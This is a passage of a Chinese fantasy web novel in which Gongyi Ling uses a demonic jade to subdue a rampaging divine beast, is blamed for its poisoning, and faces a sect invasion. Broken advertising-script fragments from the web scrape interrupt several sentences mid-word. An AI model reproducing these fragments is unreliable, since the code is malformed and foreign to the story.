如此剧烈的摆动,让他没办法控制身形,公仪岭不得不拔出剑,倒飞出去落在地面上,反手一道剑气朝着青狻猊的面孔劈去。 然而却没有多大用处,这样也只能暂时拖住它一下,用灼眼的剑光去迷惑一下它剩下那只眼睛。青狻猊大怒,完全失去神智,疯狂地摆尾朝着公仪岭的方向猛冲,龇牙咧嘴地对着他身后的空气一阵咬合,却什么也咬不到。 公仪岭借着灵剑和自身速度,交叉着闪避身后神兽的追击,但这样下去终究不是个办法,稍微过了点时间他的灵力和速度便会削弱下来,被它咬中。 归云听他指令,趁着身后青狻猊张大嘴巴的时候,再次故技重施,一剑直击它的上颚几下把它的嘴划开花了才回到了公仪岭手中。 这神兽嘴里哗哗流血,它许久没吃过这样的大亏,怒得不行,咆哮过后,竟然伸出前爪,一下子就探到了公仪岭面前! 公仪岭不料它突然改变方式,拿归云略微一挡,却发现那前爪一点都没有被挡住的趋势,遮天蔽日地就要把他完全踩成肉泥。 他神色一凝,飞速往后退了数步,但这样近的距离,青狻猊的利爪还是狠狠撕破了他的前襟,再多一点就能挖出他的心脏。 这样一下,公仪岭前面也被抓出了极深的血痕。青狻猊那前爪用力一推,便立刻将他推飞到了地上。 公仪岭脖子上的挂绳也因为这么一抓而应声断裂,黑石吊坠在半空中抛出一个弧线,掉在了血泊之中。 这一推,青狻猊用了极大力气,公仪岭在地上连滚三下才勉强受力起身,哪怕周身有仙障护体,也免不了口吐鲜血。 情况紧急,并没有给公仪岭留出多少休整的时间,那血盆大口就离他越来越近,下一秒就能将他完全叼住。 “阿岭!” 结界外面的人看着这一幕全都睁大了双眼,公仪岚几人更是直接急得惊呼出声,想要用术法从外面击破结界,可面前的结界依旧是纹丝不动。 公仪岭没有再往后撤,而是看着前方不远处,那即将被兽爪踩成粉末的黑石吊坠,飞身上前将它从血泊中捞起,随后从青狻猊的腹部疾驰往尾部去。 身后的路再退就到尽头了,继续往后撤的话,与找死也没什么分别。 唯一的办法,就是窜入它的身下,虽然一个不小心可能就会被踩成烂泥,但毕竟是青狻猊的视野盲区,只要他想办法穿出去,就能够继续找机会与它周旋,再次攻击它。 外面的人见他没被活活吃掉,心中也是蓦然一松,眉头紧锁着等待着后面事态发展。 青狻猊见他如此,长尾大幅度甩动,想要直接将公仪岭抽到在地。也便是在这时候,公仪岭见面前路走不通,当即选择从青狻猊的右侧腹部绕了出去。 手中的黑石吊坠绳子已经是断成了两截,根本拼不起来了,但这毕竟是尹鸿宣的宝物,无论如何也不该碎在这地方。 公仪岭如此想着,刚想把黑石吊坠揣入怀中,却猛然察觉手中黑石竟然滚烫灼手,险些都握不住。 他飞身闪避之间,低头一看,惊愕地发现自己满手的鲜血不知道什么时候消失无踪了,一滴都没留下。 怎么回事?! 刚才他前襟遭到重击之时,曾用手暂且捂住了伤口,不让自己失血过多,这才会沾上满手鲜血,怎么会不见了? 没等他仔细思索完,就看见手中黑石的颜色变浅了一些,呈现出一种墨玉的质地,开始微微闪光。 石头表层的热意不再着眼于他的掌心,而是顺着他的手掌开始逐渐蔓延到四肢、经脉,在他的全身奔涌游走,随之而来的便是他身上暴涨的灵力。 这灵力并非是他在关键时候突破境界得来,而是让这块看上去平平无奇的石头赋予的。 暖意掩盖了他身上所有的伤痕与疼痛,取而代之的是比从前更矫健的身手,更强盛的仙力! 结界外众人也清晰地捕捉到了这样的变化,心惊肉跳地看着公仪岭周围那强盛灵力中透出的丝丝黑光。 “这……这是?” “怎么回事!” 燕煦泽凝眸望着他周围莫名其妙缠绕的鬼气,道:“他这不是正常突破境界带来的修为大涨,反倒像是借了外物之力。” 公仪岚心急如焚:“外物?哪里有什么外物?公仪岭身上除了归云就只剩下我们云灵山的凤纹玉佩,那玉佩根本不会这样啊!” 燕修远冷声道:“公仪宗主此言差矣,方才我们大家不是看得清清楚楚,有什么东西从他的脖子上被扯下来了吗?” 燕修远这句话提醒了在场众人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。旁边的孟翰言实话实说道:“的确是有这么一回事,不过,我之前倒是没注意公仪兄身上有没有带这个东西。” 纪银灵皱眉道:“抽戒鞭的时候,我们也没见到此物,也许公仪岭是放在衣服里没拿出来而已。” 司月吟看着自己两位师父也面目沉沉没说话的样子,不由开始担心起来。 齐元白见他们怀疑来怀疑去,不满道:“不过就是一个吊坠罢了,公仪岭他想放衣服里就放衣服里,有什么问题?再说了,你们也看见了,要不是这吊坠,阿岭恐怕就命丧当场了!” 他们之中,只有燕蓉在玄霄殿偏殿是真切见过这块黑石的,但她并没有开口道明这东西的来历,只是点头道:“齐宗主说得没错,当务之急还是能制服九宫青狻猊,何必在意公仪岭是用了什么办法?” 玄微长老听了两人这话,忍不住怒道:“那他也用正道法子将青狻猊制服!现在借助了什么邪物,难道你们还看不出来吗?!” 司月吟怔道:“师父……这东西有什么问题吗?” 善承长老沉声道:“月吟,这东西名唤黑石鬼玉,是玄霄殿的宝物,若是察觉到主人有生命危险,又汲取了正主的鲜血后,是能够短时间内极大地提升修为的。” 石头名字说完,众人也都难掩震惊。 黑石鬼玉的名头他们也曾有所耳闻,此物是在玄霄殿里的,但他们也已经许久没见过了,谁也不知道这块石头是在谁手上。现在正是大战前,公仪岭手里突然多出来一块玄霄殿的宝物,多少就有些耐人寻味了。 而仙家之所以把黑石鬼玉归于邪物一类,并非它本身对人有什么损害,而是因为提升修为的这个原因,若是使用不当,极容易让人堕入魔道。 公仪岭自己又何尝不知多出来的那些修为有古怪的地方,可是现在哪里有时间让他犹豫用或是不用,要是没有手里这玩意的话,自己早晚落得一个横死无定涯的下场。 不管是什么东西,只要管用,对公仪岭来说那就是好东西,用了再说。 大战都还没开打,他可不想埋骨于此! 心念至此,身形也随之而动。 现在的公仪岭疾驰的速度已经比九宫青狻猊快了很多,御剑凌空飞行躲避着青狻猊的扑咬和利爪。找准了时机后,公仪岭再次驱使归云飞速移动到青狻猊那受伤了的侧身,扬手召来归云,聚起所有灵力,反手握剑将归云狠狠贯穿了青狻猊的伤口之中。 黑石鬼玉并非凡品,所带来的修为提升远远超过了所有人的想象,公仪岭就这样轻而易举地捅穿了青狻猊的侧身,看着青狻猊流出赤金色的血液。 也正是此时,公仪岭蓦然想起当初尹鸿宣是如何对自己说的。 “这是我从小到大带着的,我爹说是用来防身的!公仪兄弟,你就把他当个护身符就好了!” 原来,他说的竟然是真的,这破石头真能防身。 公仪岭轻笑一声,心说日后大战完,还有命相见的话,再去与他道谢吧。 122.誓师无定涯 一剑战狻猊(五) 青狻猊皮糙肉厚,虽然这样的伤口只是皮外伤,但对它来说已经是极大的耻辱,在无定涯边使劲翻滚摇摆着身子,想要把公仪岭甩到悬崖下面去。 公仪岭并未如他所愿,从归云下面倒翻了上去,足尖轻点剑身,飞到了青狻猊的后背上,随即召回归云,剑气凌厉,划开了青狻猊的后背。 他这一下灵力汇聚,剑气威力巨大。青狻猊后背被划了一道极深的口子,血液狂流不止,当即痛得嘶嚎起来,在地上打了许多个滚,却也没能把公仪岭给甩下来。 公仪岭却在此时诧异地发现,自己的行动仿佛变得越来越快了,不论是在青狻猊的后背上躲避它尾部的扫荡,还是在无定涯边追赶,都变得游刃有余起来。 如此试探了一炷香的时间,公仪岭也算是终于确定了一件事。 并不是他的速度变得更快了,而是青狻猊的行动变慢了。 按道理说,像青狻猊这样的上古神兽,虽说平日里喜静不喜动,但如果真打起来的话,也不可能就这么点时间便力竭,与他们这样耗上个三五天也是有可能的。 所以在黑石鬼玉提升了自己的修为以后,公仪岭打的也是一个速战速决的算盘,想办法将青狻猊的四足砍伤,再用无定涯边被它扯坏的石链把它捆起来,交还给紫阳宗。 可他却完全没想到,青狻猊在身上受了两次伤以后,竟然显得有点虚弱起来,哪怕是追赶他也看起来有些力不从心。 在他思考原因的时候,场外燕蓉还在与他大喊:“公仪岭!不要打它的致命处!” 虽然公仪岭不知道他们外面的人有没有看出问题,但还是大声回应了燕蓉一句,表示自己心中有数。 在青狻猊的背上不好待,公仪岭在划伤了它以后,就急速从那儿跳了下来,一边与青狻猊追逐,一边开始想如何用石链控制它的行动。 石链分布在左右,各有长长的两条,之前分别用来捆住青狻猊的四肢。公仪岭在地面上疾驰,先行将它引到了右边。 归云剑出,一剑刺伤了青狻猊的右足。 它奔跑的身形忽然踉跄,吃痛后险些栽倒在地上,还未等它调整身形,左足也被剑身所伤,竟然直接跪倒在了地上,发出一声震响,顷刻间让无定涯两侧的山石滚滚。 这样的时机,公仪岭早已等待了多时,他手中握着的两条石链飞出,宛如灵蛇一般将青狻猊的前肢给捆了起来。 外面的人看见这一幕也放下心来,事情演变到这个份上,看来大局已定,这青狻猊再也掀不起什么波涛来了。 只有公仪岚还紧紧盯着战况,一刻也不敢松懈。 虽然青狻猊前肢已经被控制住了,但它现在离另一边的石链极远,若是公仪岭没能趁着此时将它的后肢也给捆住的话,那可能下一刻青狻猊就能直接挣脱开那些石链了。 公仪岭并没有给它这样的机会。 经过他手的所有石链全都被他倾注了仙力,一旦捆上便极难挣脱,加上青狻猊本就受伤,这样澎湃的仙力只会带给它灼烧刺痛的感觉,只要越使劲,石链捆得也更紧了。 归云故技重施,再次伤了青狻猊的后肢,见它并不老实,还在它的身上又补了几剑。而公仪岭也在这瞬间从右边石壁飞驰到了左边,硬生生扯断了那两条石链。 原先青狻猊还在企图横冲直撞,下一秒公仪岭手中石链就已经飞出,与前肢的两条相互弯曲缠绕,最后他的手凭空做了一个收拉的动作,那青狻猊便轰然倒地。 公仪岭自半空中落下,看着还在地上翻滚挣扎的青狻猊,心中唯有一个念头,那就是这样又不能杀又不能下狠手,还得想办法把它制服的神兽,他再也不想打第二遍了。 所有人屏息凝神看了半晌,直到这神兽被收紧的石链逼得再也动弹不得之后,才完全安下心来。 齐元白后怕道:“幸亏没事,幸亏没事。” 司月吟也给公仪岚递了块帕子:“没事了,先擦擦汗冷静一下吧。” 公仪岚这才后知后觉意识到自己额间沁出多少汗珠,低声对司月吟道:“多谢你了,月吟。” 燕修远已经安排燕家两人去妥善处理青狻猊,而善承和玄微两位长老在这时也撤下了外面的结界屏障,一瞬间就有无数弟子涌入了无定涯边,担心的担心,害怕的害怕,围着自家宗主准备疗伤的疗伤。 公仪岭不敢大意,从结界里面出来以后,刚收起了结界就让燕修远给补上了一个紫阳宗的结界,随后便看见紫阳宗的弟子们进了结界,合力把青狻猊转移到关押的地方去了。 黑石鬼玉的力量在逐渐消退,公仪岭每一步都开始走得摇摇晃晃,最后膝盖一弯半跪在地,全靠手中归云剑勉强支撑,才没有完全倒下去。 这一战下来,他也没有讨到多少便宜,不仅前后都受了伤,还因为黑石鬼玉猛然激增的修为消退,现在便有些疲劳过度,腿都软得站不起来了。 云灵山众人本就在结界外急得团团转,奈何人山人海根本无法看清里面的战况,好不容易等到结界撤下,立刻狂奔过来将人围住,叽叽喳喳问起状况来了。 “宗主和二师兄受伤了!” “身上都是血!谁带药了?!” 众人摸了半天也没摸出来一瓶药,就连承悦也是身上什么药都没带,虽然他们这趟出来带了药灵阁里的药师,但药师并未参加誓师大会,现在还在另一座岛上呢,远水救不了近火。 承悦看着两人身上的伤口,愁道:“谁想得到这誓师大会,会出现这样的大乱子,这下可怎么好?” 公仪岭勉力道:“伤是小伤,就是制服起来累人了点。” 公仪岚面色微沉:“你还敢说,不与我们商量一声就设下这样的结界,是不要命了吗?竟叫人这般担心。” 他一开口,公仪岭自知理亏,便立马闭了嘴。最后还是年纪稍小的几个师妹出手,与别的宗门的人众筹了两颗丹药,给他们吃了下去。 公仪岚将他扶起,架在肩上,想远离人群,找个安静的地方给公仪岭调息恢复。抱元门的两位长老见状,微微皱眉,但还是看在公仪岚的面子上没有开口。 燕蓉办事效率极快,一炷香的时间已经调配好了人手,与燕修远回禀了一声后,就走过来对两人说道:“走,我带你们去芙蓉院。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “有劳了。” 公仪岚点了点头,与司月吟告别后,嘱咐承悦安顿好受伤的弟子,扶着公仪岭跟在燕蓉身后。 一路上匆匆忙忙脚步不停,等到行至芙蓉院,燕蓉才稍微放心了些。 她将院门掩上,从房中取来了丹药和纱布,交给了两人:“你们进里面暂且疗伤,外面我替你们守着,等弄完以后,我有事要与你们说。” 公仪岚听她语气肃穆,于是也不敢大意,谢过以后就带着公仪岭进了房间。 公仪岭几乎是被一路拖着进来的,等坐到了围椅上,全身就跟散了架一样,再也不想起来。 公仪岚拿他没办法,替他上了药以后,先用绷带把伤口包扎了起来,又施法替他疗伤。 等疗伤完后,公仪岭才觉得有了点力气,勉强坐正了些,问道:“大哥,你可有哪里受伤?” 公仪岚摇了摇头。 师妹们给他们拿来的丹药都是用来滋补灵气的,公仪岚身上并没有受伤,只是灵气虚耗过多,调养一两天也就无碍了。 他道:“阿岭,你这次真的太乱来了。” 公仪岭低声道:“大哥,你也知道燕婉的尸身在祭台上,我总不能……” “阿岭,上祭台的时候我并未阻拦你,但你也不能就这样自己设了结界去与九宫青狻猊斗。” 公仪岭讪讪道:“当时情况紧急,以后不会了。” 公仪岚叹了一声,道:“黑石鬼玉的事情,你之前并未与我说过,阿岭,你告诉我,这东西你究竟是从何而来的?” “黑石鬼玉?” 公仪岭一怔,旋即明白了公仪岚说的是自己怀中放着的那块石头,仔细琢磨了一下这四个字,瞬间想起来了这是什么东西。 他沉默片刻,还是如实说了:“那日我下山前去寻找爹娘,在宣安城遇到了尹鸿宣,算是救了他一命,他将此物送给了我,算是报答。” “这……” 公仪岚没想到过程如此简单朴实,不解道:“这黑石鬼玉算是魔族的宝物,许久都没出现了,没想到竟然是在尹鸿宣身上,难不成他不知道这是什么东西,才转手赠与你了吗?” 公仪岭道:“当时情况复杂,他应该知道这个东西是什么,所以才说是能够保平安的,只不过,他自己并未用过,只是把他当做了魔族信物。当日去偏殿找血池的时候,要是没有此物,我们也没办法通过门口的结界了。” 公仪岚大概明白了他的意思:“想来大约是那二殿下修为不深,尹景轩才用了这样的法子护他周全。难怪当时玄霄殿前尹鸿宣会出手相助,原来他与你之间还有这样的渊源。” “正是。” 公仪岚顿了顿,还是说道:“阿岭,你听我说,此物毕竟是玄霄殿的物件,我看两位长老对你用黑石鬼玉很是不满,为了避免节外生枝,还是应该尽快找机会,将此物归还回去才是。” 现在黑石鬼玉上的障眼法也自动解开了,公仪岭当着这么多人的面使用此物,也心知此事定然是瞒不下来了。 于是他点头应下,道:“我明白了,大哥,等大战结束,我会交还给他。” 123.东海见飞雪 阵法守仙门(一) 上完药后,两人便出了房门。 燕蓉坐在外面的石桌边,给他们两人斟了茶,道了一声:“坐吧。” 公仪岭不知她是什么意思,接了茶水问道:“燕蓉,你刚才要与我们说什么?” 公仪岚也问道:“燕姑娘,是什么要紧事,不妨直说?” 燕蓉凝视了他们片刻,拿起放在石桌上的法器,抬手一挥,竟然把整个芙蓉院用仙障给封闭了起来。 公仪岭见院门也哗啦一下被封闭了起来,震惊道:“燕蓉,这是做什么?” 燕蓉平静道:“我心中有疑虑,暂且得谨慎行事,以防隔墙有耳。” 公仪岭心中一个激灵。 燕蓉虽没有明说,但表现出来已经足够明显。 想想也是,就连公仪岭都觉得此次安排的誓师大会有问题,燕蓉身为紫阳宗实际上的掌事人,不可能一点都不怀疑。 公仪岚凝眉问道:“燕姑娘,敢问这次誓师大会,是你们紫阳宗全权操办的吗?” 燕蓉思忖了一会儿才道:“不是。我们几人当时都在抱元门商议作战事宜,在抱元门那会儿,几家人就已经分别通知了各家弟子,前来紫阳宗操办此事,甚至大部分事宜还是抱元门那边的弟子帮忙的,只是与我们确认过了流程,以免出错。” 这件事情公仪岭并不知情,就问道:“云灵山没人前去吗?” 公仪岚道:“我想应该是因为,你刚与紫阳宗闹得不太愉快,再加上抱元门那边门生众多,所以并没有来告知我此事。” 燕蓉没有否认,公仪岭看着她的表情也懂了。 公仪岭道:“那操办过程中,紫阳宗外围结界呢?” 燕蓉道:“就是担心玄霄殿的人再次潜进来动手,我才建议师父封闭了结界,却没想到还是出了岔子。如果我料想的不错,必然是有人蓄意破坏誓师大会,想压压我们的士气。” 公仪岚点头道:“的确,九宫青狻猊在仙门中乃是祥瑞神兽,若是出了问题,定然能借此打击一下士气。” 公仪岭了然:“所以,你的一开始的意思就是,怀疑这些操办誓师大会的弟子里面,有玄霄殿的人?” “是的,这件事情事关重大,我不得不谨慎起见,这也是为什么我先与你们两说的原因,因为云灵山并没有插手此事,你们看起来更加值得信任一些。” 燕蓉的担忧公仪岭自是明白,可这也让三人左右为难上了。 “眼下大战在即,安排誓师大会的人员那么多,时间紧迫,根本没办法让我们一个个排查试探……” 燕蓉沉默了片刻,叹息道:“可若是没法查出来是谁在背后动手脚,打起来的时候再出问题,就大事不妙了。” 公仪岚道:“我记得你们家那神兽,平日里挺温顺的,从未暴起伤人?印象中,也只有燕少宗主小时候被它伤过。” 燕蓉沉思了一会儿,道:“少宗主那次,是因为他主动挑衅,摸了青狻猊的尾巴,这才受了重伤,跟这次誓师大会上的情况并不相同。” 公仪岭建议道:“不管怎么说,这青狻猊突然出了问题,肯定是受人控制或者影响,无定涯人多眼杂,要是那人想下手,肯定会选择在无定涯动手。我看可以先在那边看看有没有什么线索。” 燕蓉听完,垂眸沉思片刻后便起了身。 公仪岭诧异道:“你要走了?这么快?” 燕蓉露出了一个疲倦的笑容:“外面现在乱成一锅粥,都还在等着我处理事情,我自然不能在你们这里久留。无定涯那边我会派人去调查,趁着现在还没去玄霄殿,你们两人好好恢复才是正事。” * 燕蓉离开后,公仪岭踏踏实实地睡了一觉。 说是睡了一觉,公仪岭觉得其实用昏迷来形容更加恰当一点。 原先燕蓉与他们兄弟两人说完,公仪岭还在思考着誓师大会到底是哪个环节出了问题,只不过他还没思考多久,人就已经两眼一闭晕了过去。 大概是黑石鬼玉带来的后劲太足,等到他清醒过来,已经是第二日午后了。 公仪岚只小憩了一会儿,其余时间都守在外面,就是为了防止出什么事情。在这一日中,也便只有司月吟和齐元白来过一趟,询问了他们伤情,其余时间便无人再来过了。 这也正常。毕竟当时祭台旁边伤了那么多仙门弟子,各家都得上上下下安排妥当,给医治好。 公仪岭一睁眼,第一反应就是抬了抬手脚,觉得恢复了许多,这才缓慢地爬下了床。 他环顾了四周,在房间里没看见大哥,于是走到门口推了推门,没推动。 公仪岭略微诧异,以为是门口被人反锁,后退了两步打量了两眼房间,毫不犹豫从旁边的窗户翻了出去。 他前脚刚翻完窗户,后脚就看见公仪岚坐在一把竹椅上,倚靠着屋门,双目紧闭,像是已经睡着了。 公仪岭怔愣了片刻,心中说不出的一阵酸涩。 他想起齐元白之前与自己说的话,又想起那日在云灵山的时候,自己在上山前曾路过大哥的院落。 那时候天都还只是蒙蒙亮,公仪岭只是遥遥往里面望了一眼,却见大哥的书房中已经亮起了烛光点点,已经醒来开始批文书了。 他没有像往常那样进去,坐在柿子树上看着大哥写字,然是在门口停留了片刻,就走向后山练剑去了。 现在想来,公仪岚应该是已经劳累了许久,这才会在守门的时候睡着。 公仪岭想着现在没什么事情,于是也从院里搬来了另一把竹椅,在公仪岚身旁坐下了。 只不过,他还没坐上一盏茶的时辰,公仪岚自己就清醒了过来。 “大哥,你醒了。” 公仪岭头微微侧了过去,十分自然地问了一句。 若非是看清楚面前的院子与记忆中的不同,公仪岚恍惚间还以为两人已经回到了云灵山中。 “……我睡了多久?” 公仪岭如实道:“从我起来算起,也不过一盏茶的时间。” 公仪岚休息了片刻,精神也看起来好了很多,很快就完全清醒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了过来,想起了一事:“齐兄来过了。” 公仪岭没觉得有什么问题,问道:“元白来可有说什么了吗?” “倒也没有旁的什么,只是问了一下你的伤势,随后就说燕蓉托他带来一句话,说是等你醒了以后,让我们告知一声,好让她有个准备。” 公仪岭琢磨了一番燕蓉的话,有些不解,又想起来昏睡前她说的事情,心中隐隐不安。 不过很快,他便知道了这份不安来源于何处了。 紫阳殿内。 公仪岭跟着仙侍来到紫阳殿上,望着四周一道道意味不明的目光,还是十分礼貌地拱手,对正座上那人道:“不知燕宗主召我们前来,所为何事?” 燕修远顿了顿:“公仪岭,你不知道我们为什么叫你前来?” 公仪岭被周围那些紫阳宗的弟子们看得浑身不适,简直莫名其妙,反问道:“燕宗主此话我就听不懂了,自我帮你们制服九宫青狻猊后,便一直在芙蓉院中休养,从未出来一步,外面发生了什么,我又如何得知?” 不远处传来冷冷地嗤笑声,公仪岭都不用细细分辨,就知道是燕渊发出来的声音。 公仪岭抿着唇看向他,听到燕渊如此说道:“呵,诸位仙友倒是听一听,他还真是够理所当然地‘制服’青狻猊啊,要不是事情发生的突然,我都要信了你这番话了!” 公仪岚深深皱起眉,沉声说道:“燕少宗主此话怎讲?九宫青狻猊在誓师大会上突然发狂乃是众人亲眼所见,怎么到你口中,好像变成了阿岭居功自傲,大展身手了?” 燕渊道:“公仪宗主何必这般着急维护,大家也都亲眼看见了他是如何制服青狻猊的,还不能允许我们质询一番了?” “从我一进来开始,你们就是这样奇怪的眼神,好像将我当做罪犯一样审问。” 公仪岭深吸了一口气,说道:“诚然燕婉之事,我是有过错,有点对不住你们紫阳宗,但是帮忙制服了青狻猊这件事情,你们有什么理由来责问我?即便是我弄瞎了它一只眼睛,但那也是情况危急才出此下策,否则的话,恐怕还会闹出不知多少条人命来!” 燕渊不甘示弱道:“怎么,难道我有说错吗?我宗上下皆知青狻猊本性温顺,怎么会在誓师大会上当众发狂?如今还落得一个中毒而死的下场,若非有奸人从中作梗,否则如何解释?” 燕渊话音刚落,公仪岭便愣在原地。 公仪岚也是心中一惊,语气微沉对燕修远道:“燕宗主,燕渊刚才说的,九宫青狻猊中毒身亡,究竟是怎么一回事?” 燕修远长叹一声:“公仪宗主,实不相瞒,就在不久之前,宗内弟子来报,说是九宫青狻猊突然七窍流血、暴毙而亡,死状极其可怖。” 公仪岭震惊:“怎么会这样?” 燕渊几乎拍案而起:“怎么会这样,难道不是我们应该问你的吗?大家都知道是你拿出来那个黑石头,这才制服了青狻猊,我可是听长老说,那石头不是什么好东西,难道不是你用这块石头,才操控住青狻猊的吗!” 124. 东海见飞雪 阵法守仙门(二) 公仪岭闻言,怒极反笑。 “笑话,我何时用石头操控青狻猊了?照你的意思,是我控制它发狂,再利用黑石鬼玉将它制服?你是觉得我闲得慌,特意来掺和你们紫阳宗神兽的事情吗!” 燕蓉在这时也道:“少宗主,事情还没查明,今日暗中召公仪岭前来,是为了调查此事疑点,并非兴师问罪。” 燕渊瞥眼看向燕蓉,依旧面不改色:“查?还有什么好查的?师姐,咱们已经查过一轮了,完全没发现任何线索能证明青狻猊是在誓师大会之前中的毒,从誓师大会之后,唯一有可能下毒的就是他公仪岭!只有他与近身那青狻猊打了那么久!” 公仪岚冷冷道:“燕渊,说话也要讲证据,青狻猊如此难对付,阿岭他何必以身犯险,当着这么多人的面、冒着被神兽打死的风险给它下毒?他若是做了什么手脚,我们早就该看见了!” “黑石鬼玉是在他手上冒出来的,谁能保证不是这上面的邪气侵扰了青狻猊,才导致它暴毙?何况,公仪岭拿着它也不是一日两日了,难道不知道黑石鬼玉的作用?你们怕是还不知道吧,当时在玄霄殿偏殿里,他就曾经拿出了此物,带着我们进去!” 燕渊话音刚落,两边紫阳宗的弟子们都开始窃窃私语起来,就连燕蓉也微不可查地皱了皱眉。 哪怕她明知这块石头帮了他们,却也无法替他辩解黑石鬼玉到底有什么作用,这才刻意对宗门内的人隐去了这段没提。 没曾想,燕渊竟然在这样的时候旧事重提。 “竟有此事?” 燕修远也是第一次听他说,讶异道:“渊儿,你将此事细细说来。” “当日尹鸿宣带我们前去偏殿,自己却被迷药迷倒了,那偏殿门口和血池入口都被尹景轩设了结界和机关,我们便是靠这块石头进去的。此事,师姐也是知晓的。” 燕修远的目光不出意外地移到了燕蓉身上:“燕蓉,渊儿他说的可是实情?” 燕蓉无奈道:“是实情,但是光靠这个,我们也没办法去证明黑石鬼玉会不会对青狻猊有影响。” “师姐,九宫青狻猊的死状你也是亲眼看到的,浑身伤口流着黑血,身上还有黑气缠绕,这难道不是因为他那块黑石鬼玉吗?!” 公仪岭平静道:“那还真不是,我刺中它的时候,分明还流着赤金色的血液。” “不是你的话,那你如何解释持有黑石鬼玉的事情?总不会是借了尹鸿宣一次忘了还了吧!” 公仪岭平静道:“日后我自然会还回去。” 公仪岭说完这句话,隐隐便听到了旁听的那些人发出不言而喻的嗤声。 一位弟子冷声道:“哦?原来事情竟是这样,不知道的还会想,你一个云灵山的人,怎么跟他们玄霄殿的殿下扯不清楚……” “一派胡言!” 公仪岚根本没理他们旁边这些弟子如何说,直接对燕修远道:“燕宗主,此事疑点重重,尚未调查清楚,如何能够妄下定论?阿岭是我们云灵山的人,连证据都没有,怎能说问责就问责?现在当以大局为重,此类事情,我看不如等日后再议。” 燕蓉也忙不迭站起身:“师父,我觉得公仪宗主说得有理,现在大战在即,并非是追究这件事情的好时机,还容易引得各宗门间离心。不如等之后详查,抓住凶手后再细细追究。” 燕修远沉默了片刻,道:“那就将此事延到之后再议。燕蓉,其他宗门的弟子现在伤势都怎么样了?” 燕蓉道:“应当已经无碍……” 话未说完,燕修远便忽然察觉到异动,猛然站起身。 众人不明所以,见自家宗主忽然起身,面面相觑,不知发生了什么事情。 正在这时,紫阳殿外突然冒失地闯进了一人,手中执剑,速度极快。 公仪岭见此人背光而来,身形熟悉,待他走近细看,才发现这人一身红衣,竟然是公仪承悦。 “承悦?” 一见来人,公仪岚面色微变。 承悦向来靠谱,在宗门里又是个知礼守节的人,除非是出了大事,否则绝不会这样拿着剑贸然闯进来。 紫阳宗的弟子有些并不认识他,看到他这样杀气腾腾地过来,只当是他们云灵山的人来紫阳殿劫人。 有的弟子立马站起了身,手中已亮了法器,呵斥道:“什么人?!竟然敢擅闯紫阳宗议事!” 公仪岚见承悦的剑尖还在淌血,意识到不对:“承悦,怎么回事?” 燕蓉认出了人,对下面差点施法开打的弟子们厉声道:“全都放下法器,不要轻举妄动!” 燕蓉的话对他们来说十分管用,下面众弟子听到师姐这么说,迟疑了片刻,还是暂且垂下了拿着法器的手。 旁边的弟子们如何对他兵刃相向,承悦全都视而不见,直接颤着声开口道:“宗主,出事了……是玄霄殿的人,打进来了!” 他刚说完最后一个字,紫阳殿正座上站着的那人已经疾步飞身出了大殿,动作快到只留下了一道残影。 燕煦泽只愣了片刻就反应了过来,对所有人大喊道:“还愣着做什么?快跟上去啊!” 众人如梦初醒,鱼贯涌出大殿,一路追了出去。 这一出去,大家才惊觉事态严重,纷纷抬头望天。 天地间风云突变,东海上的半边天都像被渲染上了一片血色,衬着周围乌云翻涌、电闪雷鸣,显出一派妖异之色,就连海水都开始倒灌,朝着东海边的城镇汹涌而去。 公仪岭凝视着那从海面上升起、直冲天际,缠绕着无数黑气的巨大水柱,震撼不已。 紫阳宗外的汉白玉广场之上,原先在两边竖了整整齐齐的两排旌旗,每一面旌旗上都绣了各家的印记和徽纹,现在却已经拦腰折断,旗面如破布一般烂在地上,上面还沾上了斑驳血迹,谁路过都能踩上一脚。 至于紫阳宗外围的结界,早就不存在了。 公仪岭这时才意识到,燕修远刚才为什么会突然起身,想必那时候就已经察觉到了结界异动。 怎么会这么巧?誓师大会刚开完,青狻猊刚死,玄霄殿的人就已经集结起人手,要过来与他们决一死战了。 在誓师大会之前,为了防止消息泄露,好打玄霄殿一个措手不及,他们并未把宗门全部弟子召来,完全封锁了消息。 都不用想,公仪岭就知道定然是有人泄密。 可现在已经没有时间给他去细细思索,到底是谁形迹可疑了。 无数妖魔鬼怪从广场外席卷来,漫天飞舞的黑气魂魄几乎遮挡住了整片天空,公仪岭根本无暇分心去看周围到底是谁,完全凭着直觉和下意识的动作斩杀着周 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身的妖邪之物。 只有在他斩灭了面前一方天空中的魂魄后,才勉强望见了远处悬浮在海平面上,手拿御魔幡的尹景轩。 尹景轩旁边只站了一人,看身形和武器应当是尹鸿晔。 公仪岭蓦然松了口气。 想来尹鸿宣这小子怕是已经被关了禁闭,只要他不在的话,自己便不用与他兵刃相向,如此,也算是一件好事。他这样安慰自己。 然而,公仪岭还未安心片刻,瞬间察觉哪里不对。 是那些广场上的白玉地砖! 远处御魔幡迎风飘扬,尹景轩略微施法,这些地砖便裂开了丝丝缝隙。 随后,一具具傀儡就顶开了碍事的地砖,从裂缝之中爬了出来。 公仪岭飞身跃起,下一秒原来站着的地方就伸出两只惨白锋利的鬼手,耳畔中还回荡着它们在地底下尖利刺耳的叫声,凄厉无比。 归云剑扫过,仪岭底下的两只鬼手应声而断。 转瞬间,底下的傀儡已经匍匐着起身,而那被断了手的傀儡也压根感觉不到疼痛,反倒越发凶狠,直直朝着公仪岭扑来。 公仪岭迅捷如风,挥剑劈翻了周身的傀儡,心思却完全不在与它们交手上面。 刚才出来的时候,这边就已经是一团乱战,人山人海根本分不清楚到底谁是谁,公仪岭一眼扫过去也没找到认识的人。 现在又有傀儡破土而出,所有人闪避攻击之间,早已被傀儡冲乱了队形,只能零零散散依靠着大家的衣服勉强辨认出来是哪家的人。 惊叫声、哭喊声、施法声、短兵交接声。 公仪岭耳中乱糟糟一堆声音,只能听到几声无法辨别方向的“阿岭”。 他跟大哥他们失散了。 公仪岭心急如焚,想要直接御剑去找,无奈半空中全是魂魄,横冲直撞地堵住了去路,只能一边大喊,一边与傀儡交手。 “大哥!元白!你们在哪?!” 没有回应。 